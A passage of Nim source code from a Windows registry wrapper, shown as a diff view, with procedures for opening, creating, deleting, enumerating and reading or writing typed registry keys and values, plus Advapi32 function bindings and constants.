ERROR_SUCCESS = 0
ERROR_FILE_NOT_FOUND = 2
USER_LANGUAGE = 0x0400
MAX_KEY_LEN = 255
MAX_VALUE_LEN = 16383
proc getErrorMessage(code: int32): string {.raises: [].} =
var msgbuf: pointer
when useWinUnicode:
discard formatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ALLOCATE_BUFFER or
FORMAT_MESSAGE_IGNORE_INSERTS, nil, code, USER_LANGUAGE, msgbuf.addr, 0, nil)
result = $cast[WideCString](msgbuf)
else:
discard formatMessageA(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ALLOCATE_BUFFER or
FORMAT_MESSAGE_IGNORE_INSERTS, nil, code, USER_LANGUAGE, msgbuf.addr, 0, nil)
result = $cast[CString](msgbuf)
localFree(msgbuf)
proc raiseError(code: int32) {.inline, raises: [RegistryError].} =
raise newException(RegistryError, $code & ": " & getErrorMessage(code))
proc close*(this: RegistryKey) {.raises: [RegistryError].} =
## Closes the key and flushes it to disk if its contents have been modified.
let code = regCloseKey(this)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
proc createSubKey*(this: RegistryKey, subkey: string, writable: bool): RegistryKey {.raises: [RegistryError].} =
## Creates a new subkey or opens an existing subkey with the specified access.
var createdHandle: RegistryKey
when useWinUnicode:
let code = regCreateKeyExW(this, newWideCString(subkey), 0, nil, 0,
if writable: KEY_ALL_ACCESS else: KEY_READ, nil, createdHandle.addr, nil)
else:
let code = regCreateKeyExA(this, newCString(subkey), 0, nil, 0,
if writable: KEY_ALL_ACCESS else: KEY_READ, nil, createdHandle.addr, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
return createdHandle
proc createSubKey*(this: RegistryKey, subkey: string): RegistryKey {.raises: [RegistryError].} =
## Creates a new subkey or opens an existing subkey for write access.
return this.createSubKey(subkey, true)
proc deleteSubKey*(this: RegistryKey, subkey: string, raiseOnMissingSubKey: bool) {.raises: [RegistryError].} =
## Deletes the specified subkey, and specifies whether an exception is raised if the subkey is not found.
when useWinUnicode:
let code = regDeleteKeyW(this, newWideCString(subkey))
else:
let code = regDeleteKeyA(this, newCString(subkey))
if unlikely(code != ERROR_SUCCESS) and (raiseOnMissingSubKey or code != ERROR_FILE_NOT_FOUND):
raiseError(code)
proc deleteSubKey*(this: RegistryKey, subkey: string) {.raises: [RegistryError].} =
## Deletes the specified subkey.
this.deleteSubKey(subkey, true)
proc deleteSubKeyTree*(this: RegistryKey, subkey: string, raiseOnMissingSubKey: bool)
{.raises: [RegistryError].} =
## Deletes the specified subkey and any child subkeys recursively, and
## specifies whether an exception is raised if the subkey is not found.
when useWinUnicode:
let code = regDeleteTreeW(this, newWideCString(subkey))
else:
let code = regDeleteTreeA(this, newCString(subkey))
if unlikely(code != ERROR_SUCCESS) and (raiseOnMissingSubKey or code != ERROR_FILE_NOT_FOUND):
raiseError(code)
proc deleteSubKeyTree*(this: RegistryKey, subkey: string) {.raises: [RegistryError].} =
## Deletes a subkey and any child subkeys recursively.
this.deleteSubKeyTree(subkey, true)
proc deleteValue*(this: RegistryKey, name: string, raiseOnMissingValue: bool) {.raises: [RegistryError].} =
## Deletes the specified value from this key, and specifies whether
## an exception is raised if the value is not found.
when useWinUnicode:
let code = regDeleteKeyValueW(this, nil, newWideCString(name))
else:
let code = regDeleteKeyValueA(this, nil, newCString(name))
if unlikely(code != ERROR_SUCCESS) and (raiseOnMissingValue or code != ERROR_FILE_NOT_FOUND):
raiseError(code)
proc deleteValue*(this: RegistryKey, name: string) {.raises: [RegistryError].} =
## Deletes the specified value from this key.
this.deleteValue(name, true)
proc flush*(this: RegistryKey) {.raises: [RegistryError].} =
## Writes all the attributes of the specified open registry key into the registry.
let code = regFlushKey(this)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
iterator getSubKeyNames*(this: RegistryKey): string {.raises: [RegistryError].} =
## Retrieves an iterator of strings that runs over all the subkey names.
var keyCount: int32
when useWinUnicode:
let code = regQueryInfoKeyW(this, nil, nil, nil, keyCount.addr, nil, nil, nil, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
var nameBuffer: WideCString
unsafeNew(nameBuffer, (MAX_KEY_LEN + 1) * sizeof(Utf16Char))
for i in 0..<keyCount:
var nameLen: int32 = MAX_KEY_LEN
let code = regEnumKeyExW(this, int32(i), nameBuffer, nameLen.addr, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
nameBuffer[nameLen] = Utf16Char(0)
yield $nameBuffer
else:
let code = regQueryInfoKeyA(this, nil, nil, nil, keyCount.addr, nil, nil, nil, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
var nameBuffer: CString
unsafeNew(nameBuffer, MAX_KEY_LEN + 1)
for i in 0..<keyCount:
var nameLen: int32 = MAX_KEY_LEN
let code = regEnumKeyExA(this, int32(i), nameBuffer, nameLen.addr, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
nameBuffer[nameLen] = 0
yield $nameBuffer
proc tryGetValue*[T](this: RegistryKey, name: string, value: var T): bool
{.raises: [RegistryError, ValueError, Defect].} =
## Retrieves the value associated with the specified name.
## Attempts to convert values to the correct type, if applicable.
var kind: RegistryValueType
var size: int32
when useWinUnicode:
let code = regQueryValueExW(this, newWideCString(name), nil, kind.addr, nil, size.addr)
else:
let code = regQueryValueExA(this, newCString(name), nil, kind.addr, nil, size.addr)
if code == ERROR_FILE_NOT_FOUND:
return false
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
case kind:
of REG_DWORD:
var tmp: int32
size = int32(sizeof(tmp))
when useWinUnicode:
let code = regGetValueW(this, nil, newWideCString(name), 0x0000ffff, nil,
cast[pointer](tmp.addr), size.addr)
else:
let code = regGetValueA(this, nil, newCString(name), 0x0000ffff, nil,
cast[pointer](tmp.addr), size.addr)
if code == ERROR_FILE_NOT_FOUND:
return false
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
when T is SomeNumber:
value = T(tmp)
return true
elif T is string:
value = $tmp
return true
else:
{.fatal: "The type " & T.name & " is not supported yet.".}
of REG_QWORD:
var tmp: int64
size = int32(sizeof(tmp))
when useWinUnicode:
let code = regGetValueW(this, nil, newWideCString(name), 0x0000ffff, nil,
cast[pointer](tmp.addr), size.addr)
else:
let code = regGetValueA(this, nil, newCString(name), 0x0000ffff, nil,
cast[pointer](tmp.addr), size.addr)
if code == ERROR_FILE_NOT_FOUND:
return false
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
when T is SomeNumber:
value = T(tmp)
return true
elif T is string:
value = $tmp
return true
else:
{.fatal: "The type " & T.name & " is not supported yet.".}
of REG_BINARY:
var tmp: float64
size = int32(sizeof(tmp))
when useWinUnicode:
let code = regGetValueW(this, nil, newWideCString(name), 0x0000ffff, nil,
cast[pointer](tmp.addr), size.addr)
else:
let code = regGetValueA(this, nil, newCString(name), 0x0000ffff, nil,
cast[pointer](tmp.addr), size.addr)
if code == ERROR_FILE_NOT_FOUND:
return false
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
when T is SomeNumber:
value = T(tmp)
return true
elif T is string:
value = $tmp
return true
else:
{.fatal: "The type " & T.name & " is not supported yet.".}
of REG_SZ, REG_EXPAND_SZ:
when useWinUnicode:
var buffer: WideCString
unsafeNew(buffer, size + sizeof(Utf16Char))
buffer[size div sizeof(Utf16Char) - 1] = Utf16Char(0)
let code = regGetValueW(this, nil, newWideCString(name), 0x0000ffff, nil,
cast[pointer](buffer), size.addr)
else:
var buffer: CString
unsafeNew(buffer, size + 1)
buffer[size - 1] = 0
let code = regGetValueA(this, nil, newCString(name), 0x0000ffff, nil,
cast[pointer](buffer), size.addr)
if code == ERROR_FILE_NOT_FOUND:
return false
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
when T is SomeOrdinal:
value = parseInt($buffer)
return true
elif T is SomeNumber:
value = parseFloat($buffer)
return true
elif T is string:
value = $buffer
return true
else:
{.fatal: "The type " & T.name & " is not supported yet.".}
else:
raise newException(RegistryError, "The registry value is of type " & $kind & ", which is not supported")
proc getValue*[T](this: RegistryKey, name: string, default: T): T
{.raises: [RegistryError, ValueError, Defect].} =
## Retrieves the value associated with the specified name. If the name is not found, returns
## the default value that you provide. Attempts to convert values to the correct type, if applicable.
if not this.tryGetValue(name, result):
result = default
proc getValueKind*(this: RegistryKey, name: string): RegistryValueType {.raises: [RegistryError].} =
## Retrieves the registry data type of the value associated with the specified name.
when useWinUnicode:
let code = regQueryValueExW(this, newWideCString(name), nil, result.addr, nil, nil)
else:
let code = regQueryValueExA(this, newCString(name), nil, result.addr, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
iterator getValueNames*(this: RegistryKey): string {.raises: [RegistryError].} =
## Retrieves an iterator of strings that runs over all the value names associated with this key.
var valCount: int32
when useWinUnicode:
let code = regQueryInfoKeyW(this, nil, nil, nil, nil, nil, nil, valCount.addr, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
var nameBuffer: WideCString
unsafeNew(nameBuffer, (MAX_VALUE_LEN + 1) * sizeof(Utf16Char))
for i in 0..<valCount:
var nameLen: int32 = MAX_VALUE_LEN
let code = regEnumValueW(this, int32(i), nameBuffer, nameLen.addr, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
nameBuffer[nameLen] = Utf16Char(0)
yield $nameBuffer
else:
let code = regQueryInfoKeyA(this, nil, nil, nil, nil, nil, nil, valCount.addr, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
var nameBuffer: CString
unsafeNew(nameBuffer, MAX_VALUE_LEN + 1)
for i in 0..<valCount:
var nameLen: int32 = MAX_VALUE_LEN
let code = regEnumValueA(this, int32(i), nameBuffer, nameLen.addr, nil, nil, nil, nil)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
nameBuffer[nameLen] = 0
yield $nameBuffer
proc openSubKey*(this: RegistryKey, name: string, writable: bool): RegistryKey {.raises: [RegistryError].} =
## Retrieves a specified subkey, and specifies whether write access is to be applied to the key.
when useWinUnicode:
let code = regOpenKeyExW(this, newWideCString(name), 0, if writable: KEY_ALL_ACCESS else: KEY_READ, result.addr)
else:
let code = regOpenKeyExA(this, newCString(name), 0, if writable: KEY_ALL_ACCESS else: KEY_READ, result.addr)
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
proc openSubKey*(this: RegistryKey, name: string): RegistryKey {.raises: [RegistryError].} =
## Retrieves a subkey as read-only.
return this.openSubKey(name, false)
proc setValue[T](this: RegistryKey, name: string, value: T, valueKind: RegistryValueType) {.raises: [RegistryError].} =
## Sets the specified name/value pair in the registry key, using the specified registry data type.
when T is string:
when useWinUnicode:
let wstr = newWideCString(value)
let code = regSetKeyValueW(this, nil, newWideCString(name), valueKind,
cast[pointer](wstr), int32(wstr.len * sizeof(Utf16Char) + sizeof(Utf16Char)))
else:
let cstr = newCString(value)
let code = regSetKeyValueExA(this, nil, newCString(name), valueKind,
cast[pointer](cstr), int32(cstr.len + 1))
elif T is SomeNumber:
var val = value
when useWinUnicode:
let code = regSetKeyValueW(this, nil, newWideCString(name), valueKind, val.addr, int32(sizeof(value)))
else:
let code = regSetKeyValueA(this, nil, newCString(name), valueKind, val.addr, int32(sizeof(value)))
else:
{.fatal: "A value of type " & T.name & " cannot be written directly to the registry.".}
if unlikely(code != ERROR_SUCCESS):
raiseError(code)
proc setValue*[T](this: RegistryKey, name: string, value: T) {.raises: [RegistryError].} =
## Sets the specified name/value pair.
# int and uint get a special handling on 64bit because of consistency,
# else writing the value on 64bit and reading the value on 32bit might cause problems.
when T is int and sizeof(int) == 8:
{.warning: "Only a REG_DWORD is written when using int in 64bit mode.".}
this.setValue(name, int32(value), REG_DWORD)
when T is uint and sizeof(uint) == 8:
{.warning: "Only a REG_DWORD is written when using uint in 64bit mode.".}
this.setValue(name, uint32(value), REG_DWORD)
when T is int64 or T is uint64:
this.setValue(name, value, REG_QWORD)
elif T is SomeOrdinal:
this.setValue(name, value, REG_DWORD)
elif T is SomeNumber:
this.setValue(name, float64(value), REG_BINARY)
elif T is string:
this.setValue(name, value, REG_SZ)
else:
{.fatal: "A value of type " & T.name & " cannot be written directly to the registry.".}

View File

@@ -0,0 +1,319 @@
import winlean
{.deadCodeElim: on.}
const
REG_LIB = "Advapi32"
type
RegistryKey* = Handle
RegistrySecurityAccess* = enum
KEY_QUERY_VALUE = 0x0001,
KEY_SET_VALUE = 0x0002,
KEY_CREATE_SUB_KEY = 0x0004,
KEY_ENUMERATE_SUB_KEYS = 0x0008,
KEY_NOTIFY = 0x0010,
KEY_CREATE_LINK = 0x0020,
KEY_WOW64_64KEY = 0x0100,
KEY_WOW64_32KEY = 0x0200,
KEY_WRITE = 0x20006,
KEY_READ = 0x20019,
KEY_ALL_ACCESS = 0xf003f
RegistryValueType* = enum
REG_NONE = 0i32,
REG_SZ = 1i32,
REG_EXPAND_SZ = 2i32,
REG_BINARY = 3i32,
REG_DWORD = 4i32,
REG_DWORD_BIG_ENDIAN = 5i32,
REG_LINK = 6i32,
REG_MULTI_SZ = 7i32,
REG_RESOURCE_LIST = 8i32,
REG_FULL_RESOURCE_DESCRIPTOR = 9i32,
REG_RESOURCE_REQUIREMENTS_LIST = 10i32,
REG_QWORD = 11i32
ACL = object
aclRevision: uint8
sbz1: uint8
aclSize: uint16
aceCount: uint16
sbz2: uint16
SECURITY_INFORMATION = DWORD
SECURITY_DESCRIPTOR = object
revision: uint8
sbz1: uint8
control: uint16
owner: pointer
group: pointer
sacl: ptr ACL
dacl: ptr ACL
when useWinUnicode:
type
VALENT = object
veValuename: WideCString
veValuelen: DWORD
veValueptr: DWORD
veType: DWORD
else:
type
VALENT = object
veValuename: CString
veValuelen: DWORD
veValueptr: DWORD
veType: DWORD
const
HKEY_CLASSES_ROOT* = RegistryKey(0x80000000)
HKEY_CURRENT_USER* = RegistryKey(0x80000001)
HKEY_LOCAL_MACHINE* = RegistryKey(0x80000002)
HKEY_USERS* = RegistryKey(0x80000003)
HKEY_PERFORMANCE_DATA* = RegistryKey(0x80000004)
HKEY_CURRENT_CONFIG* = RegistryKey(0x80000005)
HKEY_DYN_DATA* {.deprecated.} = RegistryKey(0x80000006)
proc regCloseKey*(hKey: RegistryKey): int32 {.stdcall, dynlib: REG_LIB, importc: "RegCloseKey".}
when useWinUnicode:
proc regConnectRegistryW*(lpMachineName: WideCString, hKey: RegistryKey, phkResult: ptr RegistryKey): int32
{.stdcall, dynlib: REG_LIB, importc: "RegConnectRegistryW".}
else:
proc regConnectRegistryA*(lpMachineName: CString, hKey: RegistryKey, phkResult: ptr RegistryKey): int32
{.stdcall, dynlib: REG_LIB, importc: "RegConnectRegistryA".}
when useWinUnicode:
proc regCopyTreeW*(hKeySrc: RegistryKey, lpSubKey: WideCString, hKeyDest: RegistryKey): int32
{.stdcall, dynlib: REG_LIB, importc: "RegCopyTreeW".}
else:
proc regCopyTreeA*(hKeySrc: RegistryKey, lpSubKey: CString, hKeyDest: RegistryKey): int32
{.stdcall, dynlib: REG_LIB, importc: "RegCopyTreeA".}
when useWinUnicode:
proc regCreateKeyExW*(hKey: RegistryKey, lpSubKey: WideCString, reserved: int32, lpClass: WideCString, dwOptions: int32,
samDesired: RegistrySecurityAccess, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES, phkResult: ptr RegistryKey,
lpdwDisposition: ptr DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegCreateKeyExW".}
else:
proc regCreateKeyExA*(hKey: RegistryKey, lpSubKey: CString, reserved: int32, lpClass: CString, dwOptions: int32,
samDesired: RegistrySecurityAccess, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES, phkResult: ptr RegistryKey,
lpdwDisposition: ptr DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegCreateKeyExA".}
when useWinUnicode:
proc regCreateKeyTransactedW*(hKey: RegistryKey, lpSubKey: WideCString, reserved: DWORD, lpClass: WideCString,
dwOptions: DWORD, samDesired: RegistrySecurityAccess, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES, phkResult: ptr RegistryKey,
lpdwDisposition: ptr DWORD, hTransaction: Handle, pExtendedParameter: pointer): int32
{.stdcall, dynlib: REG_LIB, importc: "RegCreateKeyTransactedW".}
else:
proc regCreateKeyTransactedA*(hKey: RegistryKey, lpSubKey: CString, reserved: DWORD, lpClass: CString,
dwOptions: DWORD, samDesired: RegistrySecurityAccess, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES, phkResult: ptr RegistryKey,
lpdwDisposition: ptr DWORD, hTransaction: Handle, pExtendedParameter: pointer): int32
{.stdcall, dynlib: REG_LIB, importc: "RegCreateKeyTransactedA".}
when useWinUnicode:
proc regDeleteKeyW*(hKey: RegistryKey, lpSubKey: WideCString): int32 {.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyW".}
else:
proc regDeleteKeyA*(hKey: RegistryKey, lpSubKey: CString): int32 {.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyA".}
when useWinUnicode:
proc regDeleteKeyExW*(hKey: RegistryKey, lpSubKey: WideCString, samDesired: RegistrySecurityAccess, reserved: DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyExW".}
else:
proc regDeleteKeyExA*(hKey: RegistryKey, lpSubKey: CString, samDesired: RegistrySecurityAccess, reserved: DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyExA".}
when useWinUnicode:
proc regDeleteKeyTransactedW*(hKey: RegistryKey, lpSubKey: WideCString, samDesired: RegistrySecurityAccess, reserved: DWORD,
hTransaction: Handle, pExtendedParameter: pointer): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyTransactedW".}
else:
proc regDeleteKeyTransactedA*(hKey: RegistryKey, lpSubKey: CString, samDesired: RegistrySecurityAccess, reserved: DWORD,
hTransaction: Handle, pExtendedParameter: pointer): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyTransactedA".}
when useWinUnicode:
proc regDeleteKeyValueW*(hKey: RegistryKey, lpSubKey: WideCString, lpValueName: WideCString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyValueW".}
else:
proc regDeleteKeyValueA*(hKey: RegistryKey, lpSubKey: CString, lpValueName: CString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteKeyValueA".}
when useWinUnicode:
proc regDeleteTreeW*(hKey: RegistryKey, lpSubKey: WideCString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteTreeW".}
else:
proc regDeleteTreeA*(hKey: RegistryKey, lpSubKey: CString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteTreeA".}
when useWinUnicode:
proc regDeleteValueW*(hKey: RegistryKey, lpValueName: WideCString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteValueW".}
else:
proc regDeleteValueA*(hKey: RegistryKey, lpValueName: CString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegDeleteValueA".}
proc regDisablePredefinedCache*(): int32 {.stdcall, dynlib: REG_LIB, importc: "RegDisablePredefinedCache".}
proc regDisablePredefinedCacheEx*(): int32 {.stdcall, dynlib: REG_LIB, importc: "RegDisablePredefinedCacheEx".}
proc regDisableReflectionKey*(hBase: RegistryKey): int32 {.stdcall, dynlib: REG_LIB, importc: "RegDisableReflectionKey".}
proc regEnableReflectionKey*(hBase: RegistryKey): int32 {.stdcall, dynlib: REG_LIB, importc: "RegEnableReflectionKey".}
when useWinUnicode:
proc regEnumKeyExW*(hKey: RegistryKey, dwIndex: DWORD, lpName: WideCString, lpcName: ptr DWORD, lpReserved: ptr DWORD,
lpClass: WideCString, lpcClass: ptr DWORD, lpftLastWriteTime: ptr FILETIME): int32
{.stdcall, dynlib: REG_LIB, importc: "RegEnumKeyExW".}
else:
proc regEnumKeyExA*(hKey: RegistryKey, dwIndex: DWORD, lpName: CString, lpcName: ptr DWORD, lpReserved: ptr DWORD,
lpClass: CString, lpcClass: ptr DWORD, lpftLastWriteTime: ptr FILETIME): int32
{.stdcall, dynlib: REG_LIB, importc: "RegEnumKeyExA".}
when useWinUnicode:
proc regEnumValueW*(hKey: RegistryKey, dwIndex: DWORD, lpValueName: WideCString, lpcchValueName: ptr DWORD,
lpReserved: ptr DWORD, lpType: ptr DWORD, lpData: ptr uint8, lpcbData: ptr DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegEnumValueW".}
else:
proc regEnumValueA*(hKey: RegistryKey, dwIndex: DWORD, lpValueName: CString, lpcchValueName: ptr DWORD,
lpReserved: ptr DWORD, lpType: ptr DWORD, lpData: ptr uint8, lpcbData: ptr DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegEnumValueA".}
proc regFlushKey*(hKey: RegistryKey): int32 {.stdcall, dynlib: REG_LIB, importc: "RegFlushKey".}
proc regGetKeySecurity*(hKey: RegistryKey, securityInformation: SECURITY_INFORMATION,
pSecurityDescriptor: ptr SECURITY_DESCRIPTOR, lpcbSecurityDescriptor: ptr DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegGetKeySecurity".}
when useWinUnicode:
proc regGetValueW*(hKey: RegistryKey, lpSubKey: WideCString, lpValue: WideCString, dwFlags: DWORD, pdwType: ptr DWORD,
pvData: pointer, pcbData: ptr DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegGetValueW".}
else:
proc regGetValueA*(hKey: RegistryKey, lpSubKey: CString, lpValue: CString, dwFlags: DWORD, pdwType: ptr DWORD,
pvData: pointer, pcbData: ptr DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegGetValueA".}
when useWinUnicode:
proc regLoadKeyW*(hKey: RegistryKey, lpSubKey: WideCString, lpFile: WideCString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegLoadKeyW".}
else:
proc regLoadKeyA*(hKey: RegistryKey, lpSubKey: CString, lpFile: CString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegLoadKeyA".}
when useWinUnicode:
proc regLoadMUIStringW*(hKey: RegistryKey, pszValue: WideCString, pszOutBuf: WideCString, cbOutBuf: DWORD,
pcbData: ptr DWORD, flags: DWORD, pszDirectory: WideCString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegLoadMUIStringW".}
else:
proc regLoadMUIStringA*(hKey: RegistryKey, pszValue: CString, pszOutBuf: CString, cbOutBuf: DWORD,
pcbData: ptr DWORD, flags: DWORD, pszDirectory: CString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegLoadMUIStringA".}
proc regNotifyChangeKeyValue*(hKey: RegistryKey, bWatchSubtree: WINBOOL, dwNotifyFilter: DWORD, hEvent: Handle,
fAsynchronous: WINBOOL): int32 {.stdcall, dynlib: REG_LIB, importc: "RegNotifyChangeKeyValue".}
proc regOpenCurrentUser*(samDesired: RegistrySecurityAccess, phkResult: ptr RegistryKey): int32
{.stdcall, dynlib: REG_LIB, importc: "RegOpenCurrentUser".}
when useWinUnicode:
proc regOpenKeyExW*(hKey: RegistryKey, lpSubKey: WideCString, ulOptions: DWORD, samDesired: RegistrySecurityAccess,
phkResult: ptr RegistryKey): int32 {.stdcall, dynlib: REG_LIB, importc: "RegOpenKeyExW".}
else:
proc regOpenKeyExA*(hKey: RegistryKey, lpSubKey: CString, ulOptions: DWORD, samDesired: RegistrySecurityAccess,
phkResult: ptr RegistryKey): int32 {.stdcall, dynlib: REG_LIB, importc: "RegOpenKeyExA".}
when useWinUnicode:
proc regOpenKeyTransactedW*(hKey: RegistryKey, lpSubKey: WideCString, ulOptions: DWORD, samDesired: RegistrySecurityAccess,
phkResult: ptr RegistryKey, hTransaction: Handle, pExtendedParameter: pointer): int32
{.stdcall, dynlib: REG_LIB, importc: "RegOpenKeyTransactedW".}
else:
proc regOpenKeyTransactedA*(hKey: RegistryKey, lpSubKey: CString, ulOptions: DWORD, samDesired: RegistrySecurityAccess,
phkResult: ptr RegistryKey, hTransaction: Handle, pExtendedParameter: pointer): int32
{.stdcall, dynlib: REG_LIB, importc: "RegOpenKeyTransactedA".}
proc regOpenUserClassesRoot*(hToken: Handle, dwOptions: DWORD, samDesired: RegistrySecurityAccess, phkResult: ptr RegistryKey): int32
{.stdcall, dynlib: REG_LIB, importc: "RegOpenUserClassesRoot".}
proc regOverridePredefKey*(hKey: RegistryKey, hNewHKey: RegistryKey): int32
{.stdcall, dynlib: REG_LIB, importc: "RegOverridePredefKey".}
when useWinUnicode:
proc regQueryInfoKeyW*(hKey: RegistryKey, lpClass: WideCString, lpcClass: ptr DWORD, lpReserved: ptr DWORD,
lpcSubKeys: ptr DWORD, lpcMaxSubKeyLen: ptr DWORD, lpcMaxClassLen: ptr DWORD, lpcValues: ptr DWORD,
lpcMaxValueNameLen: ptr DWORD, lpcValueLen: ptr DWORD, lpcbSecurityDescription: ptr DWORD,
lpftLastWriteTime: ptr FILETIME): int32 {.stdcall, dynlib: REG_LIB, importc: "RegQueryInfoKeyW".}
else:
proc regQueryInfoKeyA*(hKey: RegistryKey, lpClass: CString, lpcClass: ptr DWORD, lpReserved: ptr DWORD,
lpcSubKeys: ptr DWORD, lpcMaxSubKeyLen: ptr DWORD, lpcMaxClassLen: ptr DWORD, lpcValues: ptr DWORD,
lpcMaxValueNameLen: ptr DWORD, lpcValueLen: ptr DWORD, lpcbSecurityDescription: ptr DWORD,
lpftLastWriteTime: ptr FILETIME): int32 {.stdcall, dynlib: REG_LIB, importc: "RegQueryInfoKeyA".}
when useWinUnicode:
proc regQueryMultipleValuesW*(hKey: RegistryKey, val_list: ptr VALENT, num_vals: DWORD, lpValueBuf: WideCString,
ldwTotsize: ptr DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegQueryMultipleValuesW".}
else:
proc regQueryMultipleValuesA*(hKey: RegistryKey, val_list: ptr VALENT, num_vals: DWORD, lpValueBuf: CString,
ldwTotsize: ptr DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegQueryMultipleValuesA".}
proc regQueryReflectionKey*(hBase: RegistryKey, bIsReflectionDisabled: ptr WINBOOL): int32
{.stdcall, dynlib: REG_LIB, importc: "RegQueryReflectionKey".}
when useWinUnicode:
proc regQueryValueExW*(hKey: RegistryKey, lpValueName: WideCString, lpReserved: ptr DWORD,
lpType: ptr RegistryValueType, lpData: ptr int8, lpcbData: ptr DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegQueryValueExW".}
else:
proc regQueryValueExA*(hKey: RegistryKey, lpValueName: CString, lpReserved: ptr DWORD,
lpType: ptr RegistryValueType, lpData: ptr int8, lpcbData: ptr DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegQueryValueExA".}
when useWinUnicode:
proc regReplaceKeyW*(hKey: RegistryKey, lpSubKey: WideCString, lpNewFile: WideCString, lpOldFile: WideCString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegReplaceKeyW".}
else:
proc regReplaceKeyA*(hKey: RegistryKey, lpSubKey: CString, lpNewFile: CString, lpOldFile: CString): int32
{.stdcall, dynlib: REG_LIB, importc: "RegReplaceKeyA".}
when useWinUnicode:
proc regRestoreKeyW*(hKey: RegistryKey, lpFile: WideCString, dwFlags: DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegRestoreKeyW".}
else:
proc regRestoreKeyA*(hKey: RegistryKey, lpFile: CString, dwFlags: DWORD): int32
{.stdcall, dynlib: REG_LIB, importc: "RegRestoreKeyA".}
when useWinUnicode:
proc regSaveKeyW*(hKey: RegistryKey, lpFile: WideCString, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES): int32
{.stdcall, dynlib: REG_LIB, importc: "RegSaveKeyW".}
else:
proc regSaveKeyA*(hKey: RegistryKey, lpFile: CString, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES): int32
{.stdcall, dynlib: REG_LIB, importc: "RegSaveKeyA".}
when useWinUnicode:
proc regSaveKeyExW*(hKey: RegistryKey, lpFile: WideCString, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES,
flags: DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegSaveKeyExW".}
else:
proc regSaveKeyExA*(hKey: RegistryKey, lpFile: CString, lpSecurityAttributes: ptr SECURITY_ATTRIBUTES,
flags: DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegSaveKeyExA".}
when useWinUnicode:
proc regSetKeyValueW*(hKey: RegistryKey, lpSubKey: WideCString, lpValueName: WideCString, dwType: RegistryValueType,
lpData: pointer, cbData: DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegSetKeyValueW".}
else:
proc regSetKeyValueA*(hKey: RegistryKey, lpSubKey: CString, lpValueName: CString, dwType: RegistryValueType,
lpData: pointer, cbData: DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegSetKeyValueA".}
proc regSetKeySecurity*(hKey: RegistryKey, securityInformation: SECURITY_INFORMATION,
pSecurityDescriptor: ptr SECURITY_DESCRIPTOR): int32 {.stdcall, dynlib: REG_LIB, importc: "RegSetKeySecurity".}
when useWinUnicode:
proc regSetValueExW*(hKey: RegistryKey, lpValueName: WideCString, reserved: DWORD, dwType: RegistryValueType,
lpData: ptr int8, cbData: DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegSetValueExW".}
else:
proc regSetValueExA*(hKey: RegistryKey, lpValueName: CString, reserved: DWORD, dwType: RegistryValueType,
lpData: ptr int8, cbData: DWORD): int32 {.stdcall, dynlib: REG_LIB, importc: "RegSetValueExA".}
when useWinUnicode:
